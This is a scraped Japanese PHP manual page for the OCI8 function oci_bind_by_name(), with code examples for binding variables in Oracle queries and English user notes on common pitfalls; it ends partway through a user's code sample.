We were able to get the example included for the "OCI_BIND_ARRAY_BY_NAME" to work. However, the example is NOT actually binding with a PL/SQL array of any type. It is writing data to an Oracle table named "bind_example". Notice how this table is created. The table does NOT have an array type as one of its fields. Since this is the case, there cannot be any binding to a PL/SQL array because at least one field in the table must be either a VARRAY, NESTED TABLE or ASSOCIATIVE ARRAY data type. We searched the Internet and could not find any examples that actually read from a PL/SQL array type. We were able to get data from a PL/SQL VARRAY data type, but only by using a SELECT statement.
Anonymous 12-Jun-2008 09:44
This function appears to work with PL/SQL associative arrays (index-by tables) but I was unable to get it to work with PL/SQL varrays
14-Feb-2007 04:24
Note that it looks like you can't bind a multi-dimensional array with this method. If you try, you'll get a Notice about Array to string conversion, and your PL/SQL will end up with a one-dimensional array filled with the a lot of string values, all saying "Array". :|


Oracle プレースホルダに PHP 変数をバインドする

  • ≪ oci_bind_array_by_name
  • oci_cancel ≫
  • PHP Manual
  • OCI8 関数
  • Oracle プレースホルダに PHP 変数をバインドする

oci_bind_by_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_bind_by_name — Oracle プレースホルダに PHP 変数をバインドする

説明

oci_bind_by_name ( resource $statement , string $bv_name , mixed &$variable , int $maxlength = -1 , int $type = SQLT_CHR ) : bool

PHP の変数 variable を Oracle プレースホルダ bv_name にバインドします。 バインドは Oracle データベースのパフォーマンスに影響を及ぼす重要な仕組みで、 SQL インジェクション攻撃を防ぐための方法にもなります。

バインドを使うとデータベースでステートメントのコンテキストを (たとえ別のユーザーやプロセスが実行したものであっても) 再利用することができるようになります。 バインドによって SQL インジェクションの心配を軽減できる理由は、 バインド変数で代入したデータが決して SQL 文の一部と見なされることがないからです。 クォートやエスケープは不要です。

バインドする PHP 変数の中身を変更してステートメントを再実行するときにも、 ステートメントをパースしなおしたり変数をバインドしなおしたりする必要はありません。

Oracle のバインド変数は、データベースに渡す値に使う IN 変数と PHP に返される値に使う OUT 変数のふたつに大別できます。 バインド変数は IN あるいは OUT のどちらかの形式になります。バインド変数を入力用に使うか出力用に使うかは、 実行時に決まります。

OUT 変数を使う場合は maxlength を指定しなければなりません。 これを用いて、返される値を格納するのに必要なメモリを PHP が確保します。

IN 変数の場合も、もし PHP の変数にさまざまな値を格納してステートメントを何度も実行するのであれば maxlength を設定しておくことを推奨します。 そうしないと、最初に渡した PHP の変数の値にあわせて Oracle がデータの長さを切り詰めてしまう可能性があります。 最大長がどの程度になるかわからない場合は現在のデータサイズで oci_bind_by_name() を再コールしてから oci_execute() を実行するようにしましょう。 不必要に大きなサイズでバインドすると、 データベースのプロセスのメモリ使用量に影響を及ぼします。

バインドは、Oracle にデータをどのメモリアドレスから読み込むのかを指示します。 IN 変数の場合、oci_execute() がコールされたときにそのメモリアドレスに正しいデータがなければなりません。 つまり、バインドされる変数は実行時までスコープ内に残っていなければならないということです。 もしそうでなければ、 "ORA-01460: unimplemented or unreasonable conversion requested" のような予期せぬエラーが発生します。 OUT 変数の場合は、PHP の変数に何も値が格納されないといったことになるでしょう。

繰り返し実行されるステートメントで決して値が変わることのないバインド変数を使っていると、 Oracle のオプティマイザが最適な実行プランを選びにくくなる可能性があります。 実行に長い時間がかかり、再実行されることもめったにないようなステートメントは、 バインドの恩恵を受けられないでしょう。 しかし、どちらの場合であっても、文字列を連結して SQL 文を作るよりはバインドを使ったほうが安全です。 ユーザーの入力をフィルタリングせずに埋め込んでしまうというリスクをなくせるからです。

パラメータ

statement

有効な OCI8 ステートメント識別子。

bv_name

コロンを先頭につけたバインド変数プレースホルダをステートメント内で使います。 コロンは bv_name では必須ではありません。 Oracle はクエスチョンマークをプレースホルダとして使いません。

variable

bv_name に関連づける PHP の変数。

maxlength

バインド時の最大長。-1 に設定した場合、 variable の現在の長さを最大長として設定します。 この場合は、oci_bind_by_name() がコールされたときに variable が存在してデータが格納されている必要があります。

type

Oracle がデータを扱うときのデータ型。デフォルトの type は SQLT_CHR です。 Oracle は、可能な場合はこの型とデータベースのカラム (あるいは PL/SQL の変数) の型の間で変換を行います。

抽象データ型 (LOB/ROWID/BFILE) をバインドする必要がある場合、まず oci_new_descriptor() 関数を使用してこれを確保する必要があります。 length は抽象データ型用には 使用されず、-1 を設定する必要があります。

type に設定できる値は以下のとおりです。

  • SQLT_BFILEE or OCI_B_BFILE - BFILE 用

  • SQLT_CFILEE or OCI_B_CFILEE - CFILE 用

  • SQLT_CLOB or OCI_B_CLOB - CLOB 用

  • SQLT_BLOB or OCI_B_BLOB - BLOB 用

  • SQLT_RDD or OCI_B_ROWID - ROWID 用

  • SQLT_NTY or OCI_B_NTY - 名前付けされたデータ型用

  • SQLT_INT or OCI_B_INT - integer 用

  • SQLT_CHR - VARCHAR 用

  • SQLT_BIN or OCI_B_BIN - RAW カラム用

  • SQLT_LNG - LONG カラム用

  • SQLT_LBI - LONG RAW カラム用

  • SQLT_RSET - カーソル用。 oci_new_cursor() により、前もって生成されたもの。

  • SQLT_BOL あるいは OCI_B_BOL PL/SQL の BOOLEAN 用 (OCI8 2.0.7 以降と Oracle Database 12c 以降が必要)

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_bind_by_name() によるデータの挿入

<?php

// このようなテーブルを作ります
//   CREATE TABLE mytab (id NUMBER, text VARCHAR2(40));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn,"INSERT INTO mytab (id, text) VALUES(:id_bv, :text_bv)");

$id = 1;
$text = "Data to insert     ";
oci_bind_by_name($stid, ":id_bv", $id);
oci_bind_by_name($stid, ":text_bv", $text);
oci_execute($stid);

// テーブルに入る内容: 1, 'Data to insert     '

?>

例2 一度組み立てたものを複数回実行

<?php

// このようなテーブルを作ります
//   CREATE TABLE mytab (id NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$a = array(1,3,5,7,11);  // 挿入するデータ

$stid = oci_parse($conn, 'INSERT INTO mytab (id) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $v, 20);
foreach ($a as $v) {
    $r = oci_execute($stid, OCI_DEFAULT);  // 自動コミットはしません
}
oci_commit($conn); // すべてをここでコミットします

// テーブルには次の 5 行が含まれます: 1, 3, 5, 7, 11

oci_free_statement($stid);
oci_close($conn);

?>

例3 foreach() ループでのバインド

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT * FROM departments WHERE department_name = :dname AND location_id = :loc';
$stid = oci_parse($conn, $sql);

$ba = array(':dname' => 'IT Support', ':loc' => 1700);

foreach ($ba as $key => $val) {

    // oci_bind_by_name($stid, $key, $val) ではうまくいきません。
    // これは、すべてのプレースホルダを同じ内容にバインドしてしまうからです。
    // $val ではなく、データの実際の位置を表す $ba[$key] を使いましょう。
    oci_bind_by_name($stid, $key, $ba[$key]);
}

oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
foreach ($row as $item) {
    print $item."<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

例4 WHERE 句でのバインド

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
    echo $row['LAST_NAME'] ."<br>\n";
}

// 出力は
//    Austin
//    Ernst
//    Hunold
//    Lorentz
//    Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

例5 LIKE 句でのバインド

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// 'South' からはじまるすべての都市を探します
$stid = oci_parse($conn, "SELECT city FROM locations WHERE city LIKE :bv");
$city = 'South%';  // '%' は SQL でのワイルドカードです
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
    print $c . "<br>\n";
}
// 出力は
//   South Brunswick
//   South San Francisco
//   Southlake

oci_free_statement($stid);
oci_close($conn);

?>

例6 REGEXP_LIKE でのバインド

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// 'ing' を含むすべての都市を探します
$stid = oci_parse($conn, "SELECT city FROM locations WHERE REGEXP_LIKE(city, :bv)");
$city = '.*ing.*';
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
    print $c . "<br>\n";
}
// 出力は
//   Beijing
//   Singapore

oci_free_statement($stid);
oci_close($conn);

?>

IN 句の中の条件数が少なくて固定なのであれば、個々にバインド変数を割り当てればいいでしょう。 実行時に不明な値は NULL が設定されます。 こうすればひとつのステートメントをすべてのユーザーで使い回すことができ、 Oracle の DB キャッシュの効率を最大化させることができます。

例7 IN 句での複数の値のバインド

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE employee_id in (:e1, :e2, :e3)';
$stid = oci_parse($conn, $sql);
$mye1 = 103;
$mye2 = 104;
$mye3 = NULL; // pretend we were not given this value
oci_bind_by_name($stid, ':e1', $mye1);
oci_bind_by_name($stid, ':e2', $mye2);
oci_bind_by_name($stid, ':e3', $mye3);
oci_execute($stid);
oci_fetch_all($stid, $res);
foreach ($res['LAST_NAME'] as $name) {
    print $name ."<br>\n";
}

// 出力は
//   Ernst
//   Hunold

oci_free_statement($stid);
oci_close($conn);

?>

例8 クエリが返す ROWID のバインド

<?php

// このようなテーブルを作ります
//   CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//   INSERT INTO mytab (id, salary, name) VALUES (1, 100, 'Chris');
//   COMMIT;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT ROWID, name FROM mytab WHERE id = :id_bv FOR UPDATE');
$id = 1;
oci_bind_by_name($stid, ':id_bv', $id);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
$rid = $row['ROWID'];
$name = $row['NAME'];

// 名前を大文字に変換してそれを保存します
$name = strtoupper($name);
$stid = oci_parse($conn, 'UPDATE mytab SET name = :n_bv WHERE ROWID = :r_bv');
oci_bind_by_name($stid, ':n_bv', $name);
oci_bind_by_name($stid, ':r_bv', $rid, -1, OCI_B_ROWID);
oci_execute($stid);

// テーブルに入る内容: 1, 100, CHRIS

oci_free_statement($stid);
oci_close($conn);

?>

例9 INSERT での ROWID のバインド

<?php

// この例では id と name を挿入し、それから salary を更新します
// このようなテーブルを作ります
//   CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//
// Based on original ROWID example by thies at thieso dot net (980221)

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = "INSERT INTO mytab (id, name) VALUES(:id_bv, :name_bv)
        RETURNING ROWID INTO :rid";

$ins_stid = oci_parse($conn, $sql);

$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_bind_by_name($ins_stid, ":id_bv",   $id,    10);
oci_bind_by_name($ins_stid, ":name_bv", $name,  32);
oci_bind_by_name($ins_stid, ":rid",     $rowid, -1, OCI_B_ROWID);

$sql = "UPDATE mytab SET salary = :salary WHERE ROWID = :rid";
$upd_stid = oci_parse($conn, $sql);
oci_bind_by_name($upd_stid, ":rid", $rowid, -1, OCI_B_ROWID);
oci_bind_by_name($upd_stid, ":salary", $salary,   32);

// 挿入する id と name
$data = array(1111 => "Larry",
              2222 => "Bill",
              3333 => "Jim");

// それぞれの salary
$salary = 10000;

// 挿入し、その後すぐに各行を更新します
foreach ($data as $id => $name) {
    oci_execute($ins_stid);
    oci_execute($upd_stid);
}

$rowid->free();
oci_free_statement($upd_stid);
oci_free_statement($ins_stid);

// 新しい行を表示します
$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    var_dump($row);
}

oci_free_statement($stid);
oci_close($conn);

?>

例10 PL/SQL ストアドファンクションでのバインド

<?php

//  PHP プログラムを実行する前に、ストアドファンクションを
//  SQL*Plus あるいは SQL Developer で作ります
//
//  CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
//  BEGIN
//      RETURN p * 3;
//  END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);

// 返り値は OUT 変数に格納されます。デフォルトの型は文字列型なので、
// length が 40 ということは最大で 40 まで返される可能性があるということです
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n";   // 24 と表示します

oci_free_statement($stid);
oci_close($conn);

?>

例11 PL/SQL ストアドプロシージャでのパラメータのバインド

<?php

//  PHP プログラムを実行する前に、ストアドプロシージャを
//  SQL*Plus あるいは SQL Developer で作ります
//
//  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
//  BEGIN
//      p2 := p1 * 2;
//  END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);

// プロシージャの 2 番目のパラメータは OUT 変数です。デフォルトの型は文字列型なので、
// length が 40 ということは最大で 40 まで返される可能性があるということです
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // 16 と表示します

oci_free_statement($stid);
oci_close($conn);

?>

例12 CLOB 列のバインド

<?php

// 実行する前にテーブルを作成します。
//     CREATE TABLE mytab (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$mykey = 12343;  // この例のための任意のキー

$sql = "INSERT INTO mytab (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_DEFAULT);
$clob->save("A very long string");

oci_commit($conn);

// CLOB データを取得します

$query = 'SELECT myclob FROM mytab WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
    print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
    // ループ内で、大きなサイズの変数を解放してから次のフェッチに進めます。
    // これで、PHP のピークメモリ利用量を抑えます。
    unset($row);
}
print '</table>';

?>

例13 PL/SQL の BOOLEAN のバインド

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$plsql =
  "begin
    :output1 := true;
    :output2 := false;
   end;";

$s = oci_parse($c, $plsql);
oci_bind_by_name($s, ':output1', $output1, -1, OCI_B_BOL);
oci_bind_by_name($s, ':output2', $output2, -1, OCI_B_BOL);
oci_execute($s);
var_dump($output1);  // true
var_dump($output2);  // false

?>

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

警告

クォートは不要なので、magic_quotes_gpc や addslashes() を oci_bind_by_name() と同時に使わないでください。 自動的に追加されたクォートはデータベースの中にそのまま書き込まれてしまいます。 oci_bind_by_name() はデータをそのままの形で追加し、クォートやエスケープ文字の除去は行わないからです。

注意:

WHERE 句の中の CHAR 型のカラムに文字列をバインドするときには、 Oracle における CHAR 型のカラムの比較が スペースで埋めた (固定長形式で) 行われることを覚えておきましょう。 WHERE 句を期待通りに動作させるには、 PHP の変数側でもスペースを追加してカラムの幅と同じにしておく必要があります。

注意:

PHP の variable 引数は参照渡しです。 ループの形式によっては期待通りの動きをしないこともあります。

<?php
foreach ($myarray as $key => $value)  {
    oci_bind_by_name($stid, $key, $value);
}
?>

これは、それぞれのキーに対して $value の指す場所をバインドします。 つまり、すべてのバインド変数の値は ループの最後の処理で $value が指す値となります。 期待通りに動かすには、次のようにします。

<?php
foreach ($myarray as $key => $value) {
    oci_bind_by_name($stid, $key, $myarray[$key]);
}
?>

参考

  • oci_bind_array_by_name() - PHP の配列を Oracle PL/SQL の配列に名前でバインドする
  • oci_parse() - 実行のために Oracle の文をパースする

User Contributed Notes

asui dot dev dot null at gmail dot com 22-Oct-2019 11:20
If you are getting "ORA-01722: invalid number error" while inserting/updating a FLOAT value into a NUMBER column, please check the correctness of a binded value format according to the current locale settings.

Default "american" locale assumes that value send to oracle will be a dot decimal separator (just like 4127.5). But with setlocale('pl_PL.UTF-8') your float number would be represented as 4127,5 and that form will be used while sending data do oracle causing a problem...
That was my case (8 hours of debugging).

You can check your current locale with setlocale(LC_ALL, 0).

What I can recommend as a solutions:
a) do not set locale, or set it to 'C' for a time of sending data;
b) convert float to a string format compatible with current oracle session NLS_NUMERIC_CHARACTERS parameter value.
For example: when NLS_NUMERIC_CHARACTERS = '.,' float value 4127.5 should be converted to '4127.5'.  Then oracle will catch it correctly even if current locale are set differently.
splintyg at gmail dot com 19-Oct-2017 10:28
Guys, i've been looking for long time, how to pass clob to and get from procedure
CREATE OR REPLACE PROCEDURE myproc(p1 IN clob, p2 OUT clob);

Here You are an answer:

<?php
        $conn = oci_connect("TEST", "html", "//hostname", "UTF8");

    $filename = "./clob.txt";
    $handle = fopen($filename, "r");
    $f = fread($handle, filesize($filename));
    fclose($handle);

    $stid = oci_parse($conn, "begin myproc(:p1, :p2); end;");
    $p1 = oci_new_descriptor($conn, OCI_D_LOB);
    $p2 = oci_new_descriptor($conn, OCI_D_LOB);

    oci_bind_by_name($stid, ":p1", $p1, -1, OCI_B_CLOB);
    oci_bind_by_name($stid, ":p2", $p2, -1, OCI_B_CLOB);
    $p1->writeTemporary($f, OCI_TEMP_BLOB);
    oci_execute($stid); -- Figure out OCI_NO_AUTO_COMMIT
    oci_commit($conn);
    echo $p2->load();

    $p1    ->close();
    $p2    ->close();
    oci_free_statement($stid);
    oci_close($conn);
?>

And perfect book about "PHP and Oracle"
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
splintyg at gmail dot com 19-Oct-2017 10:27
Guys, i've been looking for long time, how to pass clob to and get from procedure
CREATE OR REPLACE PROCEDURE myproc(p1 IN clob, p2 OUT clob);

Here You are an answer:

<?php
        $conn = oci_connect("TEST", "html", "//hostname", "UTF8");

    $filename = "./clob.txt";
    $handle = fopen($filename, "r");
    $f = fread($handle, filesize($filename));
    fclose($handle);

    $stid = oci_parse($conn, "begin myproc(:p1, :p2); end;");
    $p1 = oci_new_descriptor($conn, OCI_D_LOB);
    $p2 = oci_new_descriptor($conn, OCI_D_LOB);

    oci_bind_by_name($stid, ":p1", $p1, -1, OCI_B_CLOB);
    oci_bind_by_name($stid, ":p2", $p2, -1, OCI_B_CLOB);
    $p1->writeTemporary($f, OCI_TEMP_BLOB);
    oci_execute($stid); -- Figure out OCI_NO_AUTO_COMMIT
    oci_commit($conn);
    echo $p2->load();

    $p1    ->close();
    $p2    ->close();
    oci_free_statement($stid);
    oci_close($conn);
?>

And perfect book about "PHP and Oracle"
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
Anonymous 24-Jul-2017 02:25
Bear in mind that you cannot use reserved words for bind variables. Otherwise you'll get ORA-01745: Invalid host/bind variable name error.
martin dot abbrent at ufz dot de 24-Aug-2016 11:21
Example #7 only shows the binding of a small fixed number of values in an IN clause. There is also a way to bind multiple conditions with a variable number of values.

<?php
$ids = array(
    103,
    104
);

$conn         = oci_pconnect($user, $pass, $tns);
// Using ORACLE table() function to get the ids from the subquery
$sql          = 'SELECT * FROM employees WHERE employee_id IN (SELECT column_value FROM table(:ids))';
$stmt         = oci_parse($conn, $sql);
// Create collection of numbers. Build in type for strings is ODCIVARCHAR2LIST, but you can also create own types.
$idCollection = oci_new_collection($conn, 'ODCINUMBERLIST', 'SYS');

// Maximum length of collections of type ODCINUMBERLIST is 32767, maybe you should check that!
foreach ($ids as $id) {
    $idCollection->append($id);
}

oci_bind_by_name($stmt, ':ids', $idCollection, -1, SQLT_NTY);
oci_execute($stmt, OCI_DEFAULT);
oci_fetch_all($stmt, $return);
oci_free_statement($stmt);

oci_close($conn);

?>
marki at trash-mail dot com 28-Mar-2016 09:11
Please note that in my earlier note about having oci_bind_by_name() in a function, this becomes a little more complicated when returning values like "UPDATE table SET bla='blubb' RETURNING id INTO :id".

You can do it as follows:

<?php
function sql($q, &$vars_in=array(), &$vars_out=array()) {
  ...
  $stid = oci_parse($conn, $q);
  ...
  reset($vars_in);
  do {
    if (current($vars_in)===FALSE) {
      break;
    }
    $b = oci_bind_by_name($stid, key($vars_in), current($vars_in));
    // insert exception handling here
  } while (each($vars_in) !== FALSE);

  // VARS TO RETURN
  // we'll fix this to integer type because for now we need this for index IDs
  foreach ($vars_out as $k => $v) {
    $b = oci_bind_by_name($stid, $k, $vars_out[$k], -1, SQLT_INT);
    // insert exception handling here
  }

  ...
}
?>

Use like this:

<?php
$blubb = 'blubb';
$b = array(':bla' => $blubb);
$b_out = array(':id' => ''); // leave value empty
$x = sql($q, $b, $b_out);
$id = $b_out[':id'];
?>

(The point is: you would not be able to return anything into $b[':bla'] because $b[':bla'] becomes current($vars_in) inside sql() and cannot be written to.)
marki at trash-mail dot com 26-Mar-2016 07:53
I had a query that was working properly at first sight, no errors on execute, nothing, but there were simply no results returned at runtime.

Be careful when putting the database commands into a function and binding your variables there while using oci_fetch_xxx() outside the function.

function sql($conn, $stmt, $var) {
  $stid = oci_parse($conn, $stmt);
  ...
  oci_bind_by_name($stid, ':val', $var);
  ...
}
sql($conn, $q, $var);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

As you see from the definition of oci_bind_by_name(), $var needs to be passed as reference, so your function has to have this reference ready like this:

function sql($conn, $stmt, &$var) {
  $stid = oci_parse($conn, $stmt);
  ...
  oci_bind_by_name($stid, ':val', $var);
  ...
}

The background is that if you don't pass by reference (in which case $var inside the function is a copy of $var outside the function), then oci_bind_by_name() will work just fine at first glance.
However, since the oci_fetch statements that you use to actually get the data will reference the $var that has ceased to exist when the function finished. In fact, since the varbind seems to be a pointer, that pointer will point to an invalid location at that point and your variables won't be substitued in the SQL.

All this also means that:

1) You have to pass a variable, and not just a value

This doesn't work:

$stid = sql($conn, $q, array('bla'=>'blubb'));

This is better:

$vars = array('bla'=>'blubb');
$stid = sql($conn, $q, $vars);

2) Even when passing as reference to your helper function you cannot use e.g. foreach:

This doesn't work:

function sql($conn, $q, $vars) {
  ...
  foreach ($vars as $k => $v) {
    oci_bind_by_name($stid, $k, $v);
  }
  ...
}

Again, because $k and $v are local variables that will have disappeared once you perform an oci_fetch outside the function.

Instead you have to work the array in a more low-level way like this:

function sql($conn, $q, &$vars) {
  ...
  $stid = oci_parse($conn, $q);
  ...
  reset($vars);
  do {
    if (current($vars)===FALSE) { // end of array
      break;
    }
    $b = oci_bind_by_name($stid, key($vars), current($vars));
    if ($b === FALSE) {
      DIE('Could not bind var');
    }
  } while (each($vars) !== FALSE);
}
$binds = array(':bla1' => 'blubb1',
               ':bla2' => 'blubb2');
$stid = sql($conn, $q, $binds);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

Wherever you oci_bind_by_name(), the pointer to the initial data has to exist from beginning to end.
xorinox at gmx dot ch 23-Sep-2014 02:54
Working with Oracle and raw types in and out worked like the following for me.

<?php
  /*oracle procedure
  procedure open_session(
    i_instance_id in raw,
    o_session_id out raw,
    o_errcode out number,
    o_errmsg out varchar2
  );
  */

  //open database
  $conn = DBOpen( DB_DEV_USER );

  //get session id
  $sql = "begin p_loader.open_session( hextoraw( :instance_id ), :session_id, :errcode, :errmsg ); end;";
  $stmt = oci_parse( $conn, $sql );
  $instanceId = DB_INSTANCE_ID;
  oci_bind_by_name( $stmt, ":instance_id", $instanceId, 1, SQLT_CHR );
  oci_bind_by_name( $stmt, ":session_id", $sessionId, 16, SQLT_BIN );
  oci_bind_by_name( $stmt, ":errcode", $errcode, 12, SQLT_INT );
  oci_bind_by_name( $stmt, ":errmsg", $errmsg, 4000, SQLT_CHR );

  oci_execute( $stmt );
  $sessionId = bin2hex( $sessionId ); //now this is a hex string

  //close database
  DBClose( $conn );
?>
jjeffman at cpovo.net 17-Apr-2014 04:02
It is very important to set up the maxlength of the returning parameter (:r), even when it is returning a number, otherwise the ORA-01460 exception (unimplemented or unreasonable conversion requested) may be raised.
abiyi2000 at yahoo dot com 24-Sep-2011 08:03
I unfortunately spent the whole day trying to make this work as part of OCI bind_by_name insert:

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  -1, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

The string field is always inserting correctly w/o any truncation. The string field is a  varchar2(160) CHAR, but the data used to populate it is 40 chars in length.

The numeric part is of Type Number in the database which is being used to store unix time (10 digit seconds since 1970/01/01.

The problem, the insert was truncating to 9 digits with some bogus value not even related to the input i.e., it's not just a matter of dropping the leftmost or rightmost digit, it'll just insert a 9 digit bogus number.

The only way I was able to resolve this for the numeric field was to set the maxlength to 8 (not 10 which is the number of digits in the input):

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  8, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

Hopefully you'll see this soon before you expend a lot of time repeating the same problem I had.
adrian dot crossley at hesa dot ac dot uk 20-Jul-2009 06:14
Sometimes you get the error "ORA-01461: can bind a LONG value only for insert into a LONG column".  This error is highly misleading especially when you have no LONG columns or LONG values.

From my testing it seems this error can be caused when the value of a bound variable exceeds the length allocated.

To avoid this error make sure you specify lengths when binding varchars e.g.
<?php
oci_bind_by_name($stmt,':string',$string, 256);
?>

And for numerics use the default length (-1) but tell oracle its an integer e.g.
<?php
oci_bind_by_name($stmt,':num',$num, -1, SQLT_INT);
?>
avenger at php dot net 20-Feb-2009 03:54
Dont forget the 5th parameter: $type. It's will slowly your code some times. Eg:

<?php
$sql = "select * from (select * from b xxx) where rownum < :rnum";
$stmt = OCIParse($conn,$sql);
OCIBindByName($stmt, ":rnum", $NUM, -1);
OCIExecute($stmt);
?>

Below code was slow 5~6 time than not use bind value.Change the 3rd line to:

<?php
OCIBindByName($stmt, ":rnum", $NUM, -1, SQLT_INT);
?>

will resloved this problem.

This issue is also in the ADODB DB class(adodb.sf.net), you will be careful for use the SelectLimit method.
ajitsingh4u at gmail dot com 09-May-2008 09:39
//Calling Oracle Stored Procedure
//I assume that you have a users table and three columns in users table i.e. id, user, email in oracle
// For example I made connection in constructor, you can modify as per your requirement.
//http://www.devshed.com/c/a/PHP/Understanding-Destructors-in-PHP-5/1/
<?php
class Users{
    private $connection;

    public function __construct()
    {
        $this->connection = oci_connect("scott", "tiger", $db); // Establishes a connection to the Oracle server;
    }

    public function selectUsers($start_index=1, $numbers_of_rows=20)
    {
        $sql ="BEGIN sp_users_select(:p_start_index, :p_numbers_of_rows, :p_cursor, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        //Bind in parameter
        oci_bind_by_name($stmt, ':p_start_index', $start_index, 20);
        oci_bind_by_name($stmt, ':p_numbers_of_rows', $numbers_of_rows, 20);

        //Bind out parameter
        oci_bind_by_name($stmt, ':p_result', $result, 20); // returns 0 if stored procedure succeessfully executed.

        //Bind Cursor
        $p_cursor = oci_new_cursor($this->connection);
        oci_bind_by_name($stmt, ':p_cursor', $p_cursor, -1, OCI_B_CURSOR);

        // Execute Statement
        oci_execute($stmt);
        oci_execute($p_cursor, OCI_DEFAULT);

        oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);

        echo $result;
        echo '<br>';
        var_dump($cursor); // $cursor is an associative array so we can use print_r() to print this data.
        // you can return data from this function to use it at your user interface.
    }

    public function deleteUser($id)
    {
        $sql ="BEGIN sp_user_delete(:p_id, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        // bind in and out variables
        oci_bind_by_name($stmt, ':p_id', $id, 20);
        oci_bind_by_name($stmt, ':p_result', $result, 20);

        //Execute the statement
        $check = oci_execute($stmt);

        if($check == true)
